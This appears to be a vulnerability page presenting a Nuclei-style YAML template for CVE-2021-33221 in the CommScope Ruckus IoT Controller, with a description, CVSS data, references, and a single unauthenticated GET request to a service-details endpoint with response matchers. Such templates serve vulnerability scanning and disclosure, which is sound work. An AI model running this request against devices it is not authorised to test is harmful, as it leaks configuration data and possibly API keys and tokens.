CVE-2021-33221: CommScope Ruckus IoT Controller - Information Disclosure

2025-08-01 CommScope Ruckus IoT Controller PoC Public

Description

CommScope Ruckus IoT Controller is susceptible to information disclosure vulnerabilities because a 'service details' API endpoint discloses system and configuration information to an attacker without requiring authentication. This information includes DNS and NTP servers that the devices use for time and host resolution. It also includes the internal hostname and IoT Controller version. A fully configured device in production may leak other, more sensitive information (API keys and tokens).

PoC

id: CVE-2021-33221

info:
  name: CommScope Ruckus IoT Controller - Information Disclosure
  author: geeknik
  severity: critical
  description: CommScope Ruckus IoT Controller is susceptible to information disclosure vulnerabilities because a 'service details' API endpoint discloses system and configuration information to an attacker without requiring authentication. This information includes DNS and NTP servers that the devices use for time and host resolution. It also includes the internal hostname and IoT Controller version. A fully configured device in production may leak other, more sensitive information (API keys and tokens).
  impact: |
    Successful exploitation of this vulnerability could result in the exposure of sensitive data, potentially leading to further attacks or unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by CommScope to mitigate the information disclosure vulnerability (CVE-2021-33221).
  reference:
    - https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf
    - http://seclists.org/fulldisclosure/2021/May/72
    - https://korelogic.com/advisories.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33221
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33221
    cwe-id: CWE-306
    epss-score: 0.56076
    epss-percentile: 0.98994
    cpe: cpe:2.3:a:commscope:ruckus_iot_controller:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: commscope
    product: ruckus_iot_controller
  tags: cve2021,cve,commscope,ruckus,debug,service,leak,seclists,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/service/v1/service-details"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        words:
          - "message"
          - "ok"
          - "data"
          - "dns"
          - "gateway"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201814c1593f9630e7f775a7411e590ad96489c1d060ccb1f112f9172657d5e9bc022100a1d0dbd73f39c00852f21c08de7745c014a884cd6ab95bc074ef12f31f22c1dc:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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